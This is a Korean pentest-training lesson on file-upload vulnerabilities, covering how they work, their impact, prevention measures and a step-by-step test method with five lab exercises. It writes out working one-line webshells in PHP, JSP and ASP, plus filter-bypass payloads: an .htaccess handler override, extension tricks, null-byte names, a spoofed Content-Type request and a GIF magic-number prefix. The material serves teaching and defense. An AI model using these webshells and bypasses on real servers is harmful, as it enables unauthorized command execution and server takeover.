펜테스트짐


훈련을 통해 당신의 실력을 향상시켜보세요.



파일(웹셸) 업로드 취약점

모두 19명의 회원님이 완료했어요.


 실습 환경

  실습을 하시려면 로그인이 필요합니다.



파일 업로드 취약점이란?


파일 업로드 취약점은 웹 애플리케이션에 파일이 업로드되기 전에 유효성 검사가 구현되지 않았거나 안전하지 않은 방식으로 구현된 경우 악성 파일을 업로드할 수 있는 취약점입니다. 오늘날의 웹 애플리케이션들은 일반적으로 사용자 프로필 사진 업로드, 게시판의 파일 첨부 또는 게시판 본문 내용에 이미지 삽입 등과 같이 파일 업로드 기능을 제공합니다. 이런 파일 업로드 기능이 취약하다면 공격자는 서버가 기대하는 정상적인 이미지나 동영상 파일이 아닌 웹셸과 같은 파일을 업로드하여 시스템 명령을 실행하거나 다른 시스템 공격을 위한 경유지로 악용하는 등의 서버측 공격을 할 수 있습니다. 또한 XSS, 피싱(Phishing) 페이지 삽입과 같은 클라이언트측 공격도 가능할 수 있습니다. 본 훈련에서는 서버측 공격인 웹셸 업로드에 대한 내용을 중점적으로 다루어 보겠습니다.



파일 업로드 취약점의 동작 원리


파일 업로드 취약점은 다른 웹 취약점에 비해 공격 방법이나 원리가 비교적 간단합니다. 우선 파일 업로드 취약점의 동작 원리를 이해하기 위해서 일반적인 웹 애플리케이션에서 파일 업로드가 어떻게 처리되는지 살펴 봅시다.

사용자가 파일을 업로드하면 업로드된 파일은 어딘가에 저장됩니다. 이 때 파일이 저장되는 위치는 개발자가 지정한 저장 공간이므로 웹 애플리케이션마다 다를 수 있습니다. 웹 애플리케이션이 구동되는 서버와 동일한 서버일 수 있고 물리적으로 다른 서버 또는 별도의 스토리지일 수 있습니다. 아니면 아마존 웹 서비스 S3와 같은 클라우드 기반의 스토리지가 될 수도 있겠죠.

파일 업로드 취약점은 일반적으로 업로드 파일의 저장 위치가 웹 애플리케이션이 구동되는 서버와 동일한 서버인 경우 발생합니다. 이런 경우 파일의 저장 위치는 서버의 웹 루트 디렉토리의 하위 디렉토리에 저장되는 것이 일반적인 경우입니다. 이해를 돕기 위해 아래의 우분투 리눅스, Apache, PHP 기반 웹 애플리케이션의 간단한 디렉토리 구조를 살펴 봅시다.  

root
 ├─ home/
 ├─ etc/
 │  ...
 ├─ sys/
 └─ var/
     └─ www/
         └── html/                     <== 웹 루트 (www.example.com)
              ├── uploaded/            <== 업로드된 파일의 저장 위치 (www.example.com/uploaded)
              │      ├── image1.jpg    <== 업로드된 이미지 파일 (www.example.com/uploaded/image1.jpg)
              │      └── image2.png
              ├── includes/
              │      ├── style.css
              │      └── script.js
              └── index.php
웹 루트 디렉토리는 도메인(www.example.com)과 대응됩니다. 따라서 URL을 통해서는 웹 루트 디렉토리와 그 하위 디렉토리로만 접근할 수 있으며 웹 루트 상위의 디렉토리 접근이 불가능합니다. 예로 든 이 구조에서 사용자는 웹 루트(/var/www/html) 디렉토리 하위의 index.php 파일 덕분에 도메인 주소(www.example.com)를 웹 브라우저에 입력하여 웹 애플리케이션을 방문할 수 있습니다. 또한 사용자가 웹 애플리케이션을 통해 업로드한 파일은 /var/www/html/uploaded 디렉토리에 저장되고 이 디렉토리의 계층 구조가 URL 체계에도 그대로 적용되어 www.example.com/uploaded/image1.jpg 의 URL 형태로 업로드된 파일에 접근할 수 있습니다.


웹 루트 디렉토리란?
웹 애플리케이션의 최상위 디렉토리로써 도메인 자체가 가리키는 디렉토리를 말합니다. Apache, IIS 등 웹 서버마다 기본 위치가 지정되어 있지만 개발자에 의해 다른 디렉토리로 지정될 수 있습니다. 우분투 리눅스 환경의 Apache 웹서버의 경우 웹 루트 디렉토리는 /var/www/html 이며 일반적인 웹 구현 방식에 따르면 업로드되는 파일의 저장 위치는 개발자에 의해 지정된 웹 루트 디렉토리 하위에 존재하는 디렉토리입니다. 예를 들면 /var/www/html/uploaded 와 같습니다.


프로필 사진을 업로드하는 상황을 살펴 봅시다. 개발자는 업로드된 파일을 웹루트 디렉토리 하위의 profile 디렉토리에 저장되도록 구현했다고 가정합니다. 



파일 업로드 처리 과정


사용자는 자신의 프로필 화면에서 사진 파일(picture.jpeg)을 업로드합니다. 사용자가 업로드한 사진 파일은 웹 루트 하위의 profile 디렉토리에 저장되게 됩니다. 파일이 업로드된 이후 누군가 해당 사용자의 프로필을 조회하게 되면 웹 애플리케이션은 URL을 통해 사진 파일이 저장된 위치에서 파일을 가져와 프로필 조회 화면에 포함시킵니다. 위의 그림을 보시면 서버의 웹 루트 하위의 profile 디렉토리나 profile 디렉토리에 저장된 picture.jpeg 파일은 도메인(www.example.com)을 기준으로 디렉토리 구조와 동일한 체계로 매칭됩니다. 


여기에서 우리가 주목해야 할 점이 있습니다. 업로드된 파일은 대부분 URL을 통해 접근할 수 있다는 점입니다. URL을 통해 접근할 수 없는 파일은 웹 기반의 서비스에서 그다지 효용성이 없을 것이며 아주 특수한 목적이 아니고서는 왜 굳이 그런 파일의 업로드를 허용해야 할까요? 아무튼 다시 말해 URL을 통해 접근할 수 있다는 것은 웹 애플리케이션에 접근이 허용된 누구라도 웹 브라우저를 통해 파일에 접근할 수 있다는 뜻입니다. 바로 이 점을 통해 공격자는 파일 업로드 취약점을 악용할 수 있으며 공격자 입장에서는 업로드된 파일의 위치를 반드시 알아야 합니다. 파일의 위치는 해당 파일이 표시되는 웹 페이지의 소스코드(<img> 태그의 src 속성값 등)를 보고 확인하거나 해당 파일에서 마우스 오른쪽 클릭을 한 후 '속성'을 보면 확인할 수 있습니다. 



파일의 URL을 통해 웹브라우저에서 파일을 열람한 모습 


그럼 공격자는 취약한 파일 업로드 기능을 어떻게 악용할 수 있을까요?

공격자 입장에서 파일 업로드 취약점을 이용해 할 수 있는 가장 매력적인 공격은 웹셸 업로드입니다. 만일 아래 그림과 같이 공격자가 JPEG, PNG와 같은 이미지 파일이 아니라 PHP, ASP와 같은 스크립팅 언어로 작성된 웹셸 파일을 업로드할 수 있다면 어떻게 될까요? 물론 서버측에는 어떠한 사용자 입력값 검증이나 위생 처리가 구현되어 있지 않다고 가정합니다. 



웹셸 업로드 공격


앞서 설명 드렸다시피 공격자는 업로드된 파일의 URL 경로를 확인한 후 웹 브라우저를 통해 해당 파일에 접근할 수 있을 것입니다. 즉, 공격자는 서버에 저장된 웹셸 파일을 아래의 그림과 같이 웹 브라우저에서 열람하고 임의의 명령(rm과 같은 삭제 명령 등)을 실행하여 시스템을 손상 시키거나 공격에 필요한 시스템 정보들을 알아낼 수 있게 되는 것입니다. 



웹 브라우저를 통한 웹셸 접근 및 실행



파일 업로드 취약점의 유형


파일 업로드 취약점은 웹 애플리케이션 서버에 악성 파일을 저장시키는 형태에 따라 아래의 두 가지 유형으로 구분됩니다.

  • 로컬 파일 업로드 취약점
  • 원격 파일 업로드 취약점


로컬 파일 업로드 취약점

웹 애플리케이션 자체내에서 사용자가 직접 악성 파일을 업로드할 수 있는 취약점입니다. 공격자는 업로드된 파일을 실행하여 악의적인 행위를 할 수 있게 됩니다.


원격 파일 업로드 취약점

웹 애플리케이션 자체에서 사용자가 직접 파일을 업로드할 수는 없으나 인터넷상에 존재하는 악성 파일의 URL을 통해 원격 파일을 요청하게 하여 웹 애플리케이션 서버 내부에 저장할 수 있는 취약점입니다. 



파일 업로드 취약점의 영향


파일 업로드 취약점의 영향은 웹 애플리케이션에 업로드된 악성 파일로 수행할 수 있는 작업이나 파일이 저장된 위치, 웹 애플리케이션을 구동하는 계정의 권한에 따라 다릅니다. 일반적으로 공격자가 수행할 수있는 작업은 다음과 같습니다.


원격 명령 실행

웹셸 업로드를 통해 원격 명령 실행이 가능하고 시스템의 민감한 정보를 획득하거나 시스템을 완전히 손상시킬 수 있습니다.


보안 우회 

서버 내부의 중요한 파일(.htaccess와 같은 파일)과 동일한 이름의 파일을 업로드하여 해당 파일을 덮어씀으로써 기존 보안 설정을 무력화하고 다른 공격을 시도할 수 있습니다.


피싱 공격

기존 파일을 피싱 페이지로 덮어쓸 경우 해당 페이지를 방문한 사용자는 피싱 공격에 노출됩니다.


서비스 중단

대용량 파일이 업로드 될 경우 이를 처리하기 위해 서버 자원이 고갈되고 서비스는 의도치 않게 중단될 수 있습니다. 


클라이언트측 공격

악성 스크립트가 포함된 파일, 악성 파일(멀웨어) 등이 업로드될 경우 해당 파일은 사용자의 계정을 탈취하거나 컴퓨터를 감염 또는 손상시킬 수 있습니다. 



파일 업로드 취약점 예방


아래에 소개된 방법들은 파일 업로드 공격을 완화하거나 예방할 수 있는 방법입니다. 어떤 방법들은 구현 방식에 따라 공격자에 의해 그다지 어렵지 않게 우회될 수 있으며, 이러한 우회 트릭들은 이미 인터넷상에 공개되어 있습니다. 따라서 서비스가 정책적, 기술적인 측면에서 허용되는 최대한의 필터를 중첩으로 구현하여 공격자가 악용하는 것을 어렵게 만들어야 합니다.


파일 확장자 검증

안전한 파일 확장자만 업로드를 허용하는 화이트리스트 방식의 필터를 적용합니다. 위험한 확장자만 차단하는 식의 블랙리스트 방식은 공격자가 시도하는 변형된 공격과 우회 시도를 모두 방어할 수 없습니다. 이 점이 바로 화이트리스트 방식을 사용해야 하는 이유이며 필터는 반드시 서버측에 구현되어야 합니다. 클라이언트측 통제는 공격자에 의해 쉽게 무력화될 수 있으므로 반드시 서버측에서 수행되도록 합니다. 


파일 유형 검증

HTTP를 통해 업로드되는 파일은 Content-Type 헤더와 함께 전송됩니다. Content-Type 헤더는 파일의 유형을 서버에 알려주는 역할을 하죠. 허용할 MIME TYPE을 정하고 업로드되는 파일의 Content-Type 헤더값이 허용된 MIME TYPE 목록에 포함되는지 검사를 합니다. 허용 목록에 포함될 경우에만 업로드를 허용해야 합니다. 


파일 Magic Number 검증

Magic Number(매직 넘버)는 파일의 형식을 식별하기 위해 파일 첫 부분에 기재된 상수 또는 텍스트입니다. 예를 들어 GIF 파일의 포맷을 보면 Header 부분에 GIF89a 라는 부분이 매직 넘버에 해당됩니다. 

byte#  hexadecimal  text or
(hex)               value       Meaning
0:     47 49 46
       38 39 61     GIF89a      Header
                                Logical Screen Descriptor
6:     03 00        3            - logical screen width in pixels
8:     05 00        5            - logical screen height in pixels
...생략...

GIF 파일 포맷 (출처: 위키백과)



안전한 매직 넘버를 선별하고 업로드되는 파일의 매직 넘버가 허용 목록에 포함된 매직 넘버인지 검사하고 안전한 파일인 경우에만 업로드를 허용하세요.

컴퓨터를 통해 처리되는 파일은 매직 넘버를 갖고 있으며 다른 파일 유형의 매직 넘버를 확인하시려면 파일별 매직 넘버를 참고하세요.


파일명 길이 및 파일 용량 제한

서비스 가용성에 영향을 줄 수 있을만큼의 대용량 파일이 업로드되는 경우 서비스가 중단될 수 있습니다. 이를 방지하려면 업로드되는 파일명의 길이와 파일 용량의 크기를 제한해야 합니다.


파일명 변경 또는 난독화

공격자가 파일 업로드 취약점을 악용하려면 업로드된 파일의 위치를 알고 웹 브라우저를 통해 접근할 수 있어야 합니다. 파일 업로드 처리 시 파일명을 변경하거나 난독화를 함으로써 공격자가 파일의 위치를 식별하기 어렵게 만들 수 있습니다. 업로드된 파일을 웹 브라우저에 다시 로드할 때에는 원본 파일명을 사용하지 않고 변경된 파일명을 사용하세요.


웹 루트 상위에 .htaccess 파일 저장

업로드된 파일이 저장되는 디렉토리에 .htaccess 파일을 저장한다면 이 파일은 공격자에 의해 조작된 파일로 대체될 수 있습니다. .htaccess 파일은 공격자가 접근할 수 없는 웹 루트 상위 디렉토리에 저장해야 하고, .htaccess 라는 이름의 파일을 업로드할 수 없도록 필터링을 구현해야 합니다.


악성 파일 여부 검사

파일을 서버에 저장하기 전에 안티바이러스 소프트웨어를 통해 악성 파일 여부를 검사하고 안전한 경우에만 허용하세요. 또는 컨텐츠 무해화 기술(CDR)을 사용해 파일에 포함된 악성 코드를 제거하면 좋습니다.


업로드 파일 저장 위치의 분리

업로드된 파일은 웹 애플리케이션의 코드와 별도의 저장 공간에 저장하는 것이 좋습니다. 웹루트 외부의 디렉토리나 클라우드 기반 저장 장치에 업로드된 파일을 저장할 수 있습니다. 업로드된 파일을 원격 파일 서버나 별도의 디스크 파티션에 저장하는 것 또한 공격에 의한 피해를 최소화하는데 도움이됩니다.



파일 업로드 취약점 테스트 방법


PHP 기반의 웹 애플리케이션에서의 테스트 방법을 설명합니다.


Step 1. 파일 업로드 기능 식별

웹 애플리케이션의 모든 기능을 사용해보면서 파일을 업로드할 수 있는 기능을 확인합니다.


Step 2. 정상 파일 업로드 및 URL 확인

식별된 파일 업로드 기능을 통해 정상적인 파일을 업로드하고 웹 애플리케이션에서 해당 파일이 응답에 다시 표시되는 기능을 찾습니다. 그리고 해당 웹 페이지의 소스코드나 마우스 오른쪽 클릭 후 속성 정보 보기를 통해 파일의 URL 주소를 확인하고 기억해둡니다.


Step 3. 웹셸 업로드

이번에는 PHP로 작성된 한줄 웹셸(Single Line Webshell) 파일을 만들어 업로드를 해봅니다. 

<?php echo shell_exec($_GET['cmd']); ?>
<?php echo passthru($_GET['cmd']); ?>


JSP, ASP 기반의 웹 애플리케이션인 경우 다음과 같은 간단한 한줄 웹셸(Single Line Webshell)의 샘플을 참고하여 웹셸 파일을 작성하실 수 있습니다.  웹 애플리케이션의 프로그래밍 언어를 쉽게 식별할 수 있도록 도와주는 도구가 있습니다. 웹 브라우저 확장 도구에서 Wappalyzer를 찾아보세요.


JSP

<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>

ASP

<% eval request("cmd") %>


웹셸이 정상적으로 업로드되고 실행된다면 공격은 성공입니다. 하지만 웹 애플리케이션이 이러한 악성 파일의 업로드를 쉽게 허용하지 않을 수 있습니다. 필터에 의해 차단되는 경우 필터가 업로드되는 파일의 유효성 검사를 어떤 방식으로 처리하는지 분석하고 우회를 해봐야 합니다.


Step 4. 필터 분석 및 우회

웹 애플리케이션이 업로드를 허용하는 파일의 종류가 무엇이고 허용하지 않는 파일의 종류가 무엇인지와 업로드 허용 여부를 판단하는 기준은 무엇인지 등 웹 애플리케이션에서 파일 업로드시 적용되는 필터를 분석 및 파악하고 우회를 시도해봅니다. 파일 업로드 취약점을 예방하기 위해 일반적으로 사용되는 필터와 이를 우회 방법은 다음과 같습니다. 



파일 확장자 검증

개발자는 .php, .jsp 등 위험한 파일의 확장자명을 선별한 후 사용자로부터 업로드되는 파일명에 포함된 확장자명을 비교하여 위험한 확장자인 경우 업로드를 차단하는 블랙리스트 방식이나 안전한 확장자인 경우에만 업로드를 허용하는 화이트리스트 방식을 종종 사용합니다. 구현 방식은 웹 개발자에 따라 차이가 있지만 몇 가지 트릭을 통해 우회가 가능할 수 있습니다.


.htaccess 파일 업로드

웹 서버가 Apache이고 .htaccess 파일을 업로드할 수 있다면 아래의 구문이 포함된 .htaccess 파일을 업로드하여 php 파일이 아닌 jpg 파일을 마치 PHP 스크립트처럼 실행할 수 있습니다.

AddType application/x-httpd-php .jpg

위의 구문이 포함된 .htaccess 파일을 성공적으로 업로드하였다면 PHP 웹셸 코드가 포함된 JPG 파일(webshell.jpg)을 업로드하여 웹셸을 실행할 수 있습니다.


대소문자를 혼용한 확장자명

가끔 웹 개발자는 확장자 검사를 위한 문자열 비교 시 실수를 저지르곤 합니다. php 확장자만 차단합니다. 이럴 땐 대소문자를 혼용한 확장자명을 이용하여 우회가 가능할 수 있습니다.

shell.pHp
shell.Php
shell.phP
shell.PHp
shell.PhP
...

 

잘 알려지지 않은 확장자

웹 서버의 잘못되거나 불필요한 설정으로 인해 다음과 같은 확장자를 PHP 스크립트로 인식하고 실행시킬 수 있습니다. 

shell.php3
shell.php4
shell.php5
shell.php7
shell.phtml
shell.phtm
shell.pht
shell.phar
...


확장자 속이기

필터가 사용자로부터 업로드된 파일명에서 첫번째 도트(.) 문자 바로 뒤에 오는 문자열을 추출하여 확장자로 식별하는 경우 다음과 같이 확장자를 여러번 사용하여 우회할 수 있습니다. 

shell.jpg.php
shell.png.php
shell.txt.php
...


NULL 문자 삽입

파일명의 마지막 도트(.) 문자 뒤의 문자열을 확장자로 식별하는 경우에는 파일명 중간에 NULL 문자를 끼워넣어 우회가 가능할 수 있습니다. 필터는 이 파일들을 안전한 파일로 인식하지만 시스템에서 NULL은 문자열의 끝을 의미하므로 NULL 문자 뒤의 확장자는 무시되고 정상적으로 PHP 스크립트로 실행됩니다. 이 방법은 PHP 버전 및 사용되는 함수에 따라 패치되었거나 여전히 동작할 수 있습니다.

shell.php%OO.jpg
shell.php%OO.png
shell.php%OO.txt
...


MIME TYPE 검증

업로드되는 파일의 MIME TYPE을 검사하여 허용하거나 차단하는 방식입니다. 이 방식은 Burp Suite과 같은 프록시 도구를 통해 파일 업로드 요청을 중간에 가로챈 후 Content-Type 헤더를 웹 애플리케이션이 허용하는 유형으로 변경하여 우회할 수 있습니다. 다음은 multipart/form-data 타입의 폼(<form>)을 이용한 파일 업로드의 경우 webshell.php 파일의 Content-Type 헤더를 application/x-php에서 image/jpeg로 변경하는 예입니다.


변경 전 요청 메시지

POST /upload_file.php HTTP/1.1
...생략...

------WebKitFormBoundaryEr9uqAw4prRuW1ZN
Content-Disposition: form-data; name="file"; filename="webshell.php"
Content-Type: application/x-php

<?php echo shell_exec($_GET['cmd']); ?>

...생략...


변경 후 요청 메시지

POST /upload_file.php HTTP/1.1
...생략...

------WebKitFormBoundaryEr9uqAw4prRuW1ZN
Content-Disposition: form-data; name="file"; filename="webshell.php"
Content-Type: image/jpeg

<?php echo shell_exec($_GET['cmd']); ?>

...생략...


Magic Number 검증

업로드되는 파일의 Magic Number(매직 넘버)를 읽어들여 위험한 파일 유형은 차단하거나 안전한 파일 유형만 허용하는 방식입니다. 테스트 중인 웹 애플리케이션이 GIF 파일의 업로드를 허용하는 경우 아래와 같이  webshell.php 파일에 GIF8 이라는 매직 넘버를 추가하는 것만으로 우회가 가능할 수 있습니다.

GIF8
<?php echo shell_exec($_GET['cmd']); ?>


Step 5. 웹셸 동작 확인

웹셸이 정상적으로 업로드되었다면 아마 웹셸 파일은 Step 2에서 확인했던 위치에 저장되었을 것입니다. 웹 브라우저에서 웹셸의 URL을 방문해보고 웹셸에서 명령 실행에 사용된 cmd 매개변수를 통해 시스템에 무해한 명령을 전송해봅니다. 명령의 실행 결과가 표시되어야 합니다.  


Step 6. 웹셸 제거

테스트가 완료되면 웹 애플리케이션에 업로드된 웹셸은 반드시 제거하세요. 제거하지 않는다면 당신의 웹셸은 다른 공격자에 의해 악의적으로 이용될 수 있습니다.



실습 문제 풀이


Exercise 1

이 문제는 업로드되는 파일에 대해 어떠한 검증도 하지 않습니다.  


Exercise 2

이 문제에서는 웹 개발자가 정규표현식을 이용해 php 파일의 업로드를 차단하였습니다. 


Exercise 3

웹 개발자는 앞서 사용했던 블랙리스트 방식의 필터를  화이트리스트 방식으로 변경하였습니다. 하지만 필터가 업로드 되는 파일의 확장자 추출 방식에 따라 얼마든지 우회할 수 있는 방법이 존재할 수 있습니다.


Exercise 4

Content-Type 요청 헤더가 쉽게 조작될 수 있다는 사실을 인식하지 못한 웹 개발자는 기존의 확장자 검증 방식을 없애고 파일 유형 검증 방식을 적용했습니다. 


Exercise 5

이 문제는 파일 확장자 또는 파일 유형을 검증하지 않고 파일 포맷을 검증하는 필터가 적용되어 있습니다.



참고 문헌